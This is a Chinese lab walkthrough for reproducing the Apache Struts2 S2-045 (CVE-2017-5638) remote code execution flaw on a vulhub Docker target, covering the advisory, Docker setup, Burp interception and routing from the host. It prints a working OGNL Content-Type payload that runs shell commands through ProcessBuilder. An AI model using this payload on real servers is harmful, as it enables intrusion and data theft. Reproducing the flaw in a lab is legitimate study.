S2-045 远程代码执行漏洞(CVE-2017-5638)

mac2024-05-25  37

一、S2-045 远程代码执行漏洞(CVE-2017-5638)

        简述: 

         Apache官方发布Struts 2 紧急漏洞公告(S2-045),CVE编号CVE-2017-5638。公告中披露 ,当基于Jakarta插件上传文件时,可导致远程代码执行。例如在系统中获得管理员权限,执行添加用户。可任意查看、修改或删除文件。造成机密数据泄露,重要信息遭到篡改等重大危害。

        S2-045漏洞影响的版本有:Struts 2.3.5 - Struts 2.3.31,Struts 2.5 - Struts 2.5.10

        修复建议: 如果你正在使用基于Jakarta的文件上传Multipart解析器,请升级到Apache Struts 2.3.32或2.5.10.1版;或者也可以切 换到不同的实现文件上传Multipart解析器。

二、利用vulhub靶机平台实现漏洞复现

      1、service docker start    //开启docker服务

      2、cd /vulhub/struts2/      //进入Struts2目录下

            ls     //查看里面的漏洞环境,由于s2-045以前版本过低,现在基本上漏洞都已修复

            cd s2-045     //进入s2-045漏洞环境

            cat README.md    //这里可以查看该漏洞的复现步骤

            eog  1.png    //查看图片,即burp的抓包。

           

           

      3、docker-compose up -d    //下载启动漏洞环境

      4、环境启动后,宿主机上访问web页面,访问`http://your-ip:8080`即可看到上传页面。这里的ip为虚拟机kali的ip。

            这一步正常出现以下页面,直接进行下一步。

           

          我漏洞复现时,出现了404即所请求的页面不存在。

          

          这里我使用了容器内系统的IP,这里先继续进行以上步骤,最后我会详细介绍如何操作。

           

          

     5、使用burp抓包取数据包,然后按README.md更改为

Content-Type:

%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

      

    出现状态码为200,和vulhub出计算结果后,即漏洞复现成功,如你想继续查看其他,自己搜索s2-045的payload去利用。

    备注:POST表头含有“.action”后缀,判断可能含有Struts2漏洞,

               s2-045为POST请求,攻击者可构造HTTP请求头中的Content-Type值进行远程代码执行攻击

                Content-Type:必须含有multipart/form-data,

 payload:

  "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

     6、删除环境

          测试完毕之后,使用docker-compose down 即可结束服务,使环境变为初始状态。

         docker-compose down

         

          docker images  //查看下载保存的镜像,查看镜像地址

         

          docker  rmi  13b410ff5928   

        

三、宿主机访问docker

     1、查看docker容器内系统IP

       root@kali:~/vulhub/struts2/s2-045# docker ps

       找到容器内的对象的ID:b37055755dff

       

       root@kali:~/vulhub/struts2/s2-045# docker inspect b37055755dff

       显示出容器内系统的IP,如:172.19.0.2

       

    2、配置虚拟机IP

        保证宿主机(Windows 10)和Kali 3.0 虚拟机在同一网段;

若为桥接模式,不用修改即可,跳过这一步;若为NAT模式,作如下配置;

       修改虚拟机中的NAT模式的vmnet8的NAT IP,配置为和宿主机IP在同一网段;

     

         此时,查看虚拟机IP,如此时虚拟机IP地址为192.168.197.128,同时宿主主机(Windows 10)IP地址为:192.168.0.149

    

     在同一段内,ping 192.168.197.129如果能通,说明IP地址配置成功;    

   3、添加宿主机到Docker的路由

     在windows中添加相应路由即可,将访问Docker容器的路由指向Kali 虚拟机,以管理员身份运行powershell,在这里添加路由        如下:       ROUTE add 172.19.0.0 mask 255.255.255.0 192.168.197.128

       

    4.都配置好以后,在宿主机的浏览器中输入 http://docker-ip:port,这里Docker 的IP地址和端口为上面查到的信息,即:                   http://172.19.0.2:8080/

       

 

最新回复(0)